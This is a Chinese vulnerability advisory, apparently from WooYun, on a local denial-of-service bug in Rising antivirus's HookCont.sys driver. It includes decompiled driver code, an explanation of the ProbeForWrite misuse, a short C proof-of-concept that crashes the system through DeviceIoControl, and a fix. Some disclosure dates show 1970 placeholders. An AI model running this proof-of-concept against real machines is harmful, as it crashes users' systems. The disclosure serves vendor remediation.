瑞星 HookCont.sys <= 24.0.0.5 驱动本地拒绝服务漏洞
漏洞详情
披露状态:
2010-07-27: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商已经确认,细节仅向厂商公开
1970-01-04: 细节向第三方安全合作伙伴开放
1970-02-25: 细节向核心白帽子及相关领域专家公开
1970-03-07: 细节向普通白帽子公开
1970-03-17: 细节向实习白帽子公开
2010-08-26: 细节向公众公开
简要描述:
瑞星 HookCont.sys <= 24.0.0.5 驱动程序派遣例程中,对IoControlCode为0x83003C07的处理中,对UserBuffer检查中,使用ProbeForWrite函数不当造成本地拒绝服务漏洞。
详细说明:
void __stdcall DriverDispatch(struct _DEVICE_OBJECT *a1, PIRP Irp)
{PIRP v2; // edx@2PVOID UserBuffer; // edi@4unsigned int IoControlCode; // esi@4struct _IRP::$::$::$::$A02EC6A2CE86544F716F4825015773AC::_IO_STACK_LOCATION *pIrpStack; // esi@4SIZE_T OutputBufferLength; // ST18_4@4int v7; // eax@25HANDLE *Type3InputBuffer; // [sp+10h] [bp-24h]@4SIZE_T InputBufferLength; // [sp+14h] [bp-20h]@4if ( a1 == dword_115AC ) // hookmail{v2 = Irp;++v2->CurrentLocation;v2->Tail.Overlay.CurrentStackLocation = (struct _IRP::$::$::$::$A02EC6A2CE86544F716F4825015773AC::_IO_STACK_LOCATION *)((char *)v2->Tail.Overlay.CurrentStackLocation + 36);IofCallDriver(DeviceObject, Irp);JUMPOUT(*(unsigned int *)loc_10F11);}pIrpStack = Irp->Tail.Overlay.CurrentStackLocation;Type3InputBuffer = (HANDLE *)*((_DWORD *)pIrpStack + 4);UserBuffer = Irp->UserBuffer;InputBufferLength = *((_DWORD *)pIrpStack + 2);OutputBufferLength = *((_DWORD *)pIrpStack + 1);JUMPOUT((unsigned int)UserBuffer, (unsigned int)MmUserProbeAddress, *(unsigned int *)loc_10EF2);JUMPOUT((unsigned int)((char *)UserBuffer + *((_DWORD *)pIrpStack + 1)),(unsigned int)MmUserProbeAddress,*(unsigned int *)loc_10EF2);ProbeForRead(*((const void **)pIrpStack + 4), InputBufferLength, 1u);ProbeForWrite(UserBuffer, OutputBufferLength, 1u);IoControlCode = *((_DWORD *)pIrpStack + 3);if ( IoControlCode == 0x83003C07 ){if ( !*((_BYTE *)P + 11004) ){if ( InputBufferLength >= 4 ){v7 = sub_105AA(P, *Type3InputBuffer);if ( v7 ){*(_DWORD *)UserBuffer = v7;Irp->IoStatus.Information = 4;}*((_BYTE *)P + 11005) = 0;JUMPOUT(*(unsigned int *)loc_10EF9);}}}
//省略部分代码。。。
从瑞星的DriverDispatch处理,可以看出其对UserBuffer虽然做了严格的MmUserProbeAddress比较检查,也做了ProbeForWrite探测,但是使用ProbeForWrite函数不当!因为处理过程中相信了用户输入的OutputBufferLength,那么只要用户输入的OutputBufferLength为0,就可以躲过ProbeForWrite检查。
最终在 *(_DWORD *)UserBuffer = v7; 这句中发生了内存访问错误,导致拒绝服务。
漏洞证明:
void Test()
{ DWORD dw;HANDLE hDevice; DWORD InputBuffer[64]={0}; DWORD outputBuffer[64]={0}; char * deviceName="\\\\.\\HookCont";DWORD ioControlCode=0x83003C07; //得到设备指针 hDevice=CreateFile(deviceName,GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);if(hDevice==INVALID_HANDLE_VALUE){ displayError("打开设备出错!"); return ;} MyOutputDebugString("CreateFile %s ok! hDevice=%08X\n",deviceName,hDevice);//准备数据 InputBuffer[0]=(DWORD)hDevice; //给一个句柄即可//出发漏洞if(!DeviceIoControl(hDevice, ioControlCode,InputBuffer , 4, (PVOID)(0x7fff0000),0, &dw,0)){displayError("DeviceIoControl failed!"); } //关闭设备句柄CloseHandle(hDevice);
}
修复方案:
建议瑞星驱动中不要相信用户输入的OutputBufferLength,而使用自己需要写入的长度作为ProbeForWrite的第二个参数(即长度)。本驱动中,应该是sizeof(DWORD).
版权声明:转载请注明来源 shineast@乌云
瑞星 HookCont.sys <= 24.0.0.5 驱动本地拒绝服务漏洞相关推荐
- 瑞星2011、2012神马的各种内核拒绝服务漏洞
看了看雪上的这篇帖子<瑞星全功能安全软件2011内核拒绝服务漏洞>http://bbs.pediy.com/showthread.php?t=151241.里面提到的驱动签名时间签名是20 ...
- rtl8169网卡驱动linux,Linux Kernel RTL8169网卡驱动远程拒绝服务漏洞
发布日期:2009-06-10 更新日期:2009-06-18 受影响系统: Linux kernel 2.6.x 不受影响系统: Linux kernel 2.6.30 描述: ---------- ...
- android_10.0.0_r41自定义驱动编译+Framework层调用_2(自定义驱动)
下载并编译好android源码和kernel源码,接下来正式开始我们的自定义驱动操作. Android_10.0.0_r43自定义驱动 参考文献:https://blog.csdn.net/luosh ...
- k8s 1.24.0版本使用nfs-provisioner4.0.0动态创建PV
一.nfs-client-provisioner简介 nfs-client-provisioner 可动态为kubernetes提供pv卷,是Kubernetes的简易NFS的外部provisione ...
- linux3.0 usb键盘驱动,USBOS V3.0.2021.03.01
本帖最后由 chiannet 于 2021-3-21 20:45 编辑 第一部分 USBOS v3 增强版 ISO版与UD版合体,总体积1.62GB--3.0GB(视是否拓展)! USBOS V3是计 ...
- MT6739的Android9.0 Camera kernel 驱动
文章目录 Kernel 层驱动的实现 Camera 开机流程 Camera 驱动的文件结构 Camera 驱动初始化流程 Camera 入口函数 imgsensor_init 注册的平台驱动结构体 g ...
- 工业相机 linux驱动软件,菲力尔FLIR-灰点Point Grey工业相机Linux Ubuntu18.04系统驱动Spinnaker-2.0.0.147-amd64/arm64...
注册登陆后可查看附件和大图,以及购买相关内容 您需要 登录 才可以下载或查看,没有帐号?注册会员 x 菲力尔FLIR-灰点Point Grey工业相机Linux Ubuntu18.04系统驱动Spin ...
- Android Support Library 24.2.0 正式发布
原文出处:http://blog.csdn.net/wxy318/article/details/52463998 近日,Google正式发布更新了Android Support Library Re ...
- 移植MT76x8 私有WIFI驱动V4.1.0.0到Openwrt 18.06所遇到的坑
Openwrt系统,路由或者IOT网关方面,市面上能供个人或者小团队甚至小企业 ,可玩性高的也就MT76xx系列路由芯片了,其中很大一部分原因主要在于MTK的WIFI驱动管控不是很严格,相对较容易获取 ...
最新文章
- 【计算理论】可判定性 ( 可判定性总结 )
- Ubuntu 9.10下在右键中添加以管理员身份打开,在终端中打开
- JS中生成8位的随机数字
- dosbox中的bebug指令
- python性能分析工具_Python Profilers 分析器
- django中FastDFS客户端与自定义文件存储系统
- 本题要求实现函数输出n行数字金字塔。_练习5-3 数字金字塔 (15分)
- js 日期星期 带农历
- 信息学奥赛C++语言:求和4
- ivona tts语音合成引擎_高端玩家!树莓派 + Node.js 实现语音机器人
- 股票软件开发中全推与点播的区别
- 【spring boot】5.spring boot 创建web项目并使用jsp作前台页面
- 5.12 CopyNet和 Pointer-Generator Net 复制机制和指针-生成器网络
- 多线程编程中锁的种类与应用举例
- opencv车牌分割_OpenVINO车牌识别网络详解
- 解决Centos7安装docker源问题
- C#调用新浪微博API生成RSS资源文件
- 百度热力图颜色说明_基于百度热力图的中国多中心城市分析|上海城市规划
- ansys linux卸载干净,安装了几次ansys14.5,都没有成功,删除重新安装后许可安装不了了...
- Android 文件存储-图片存储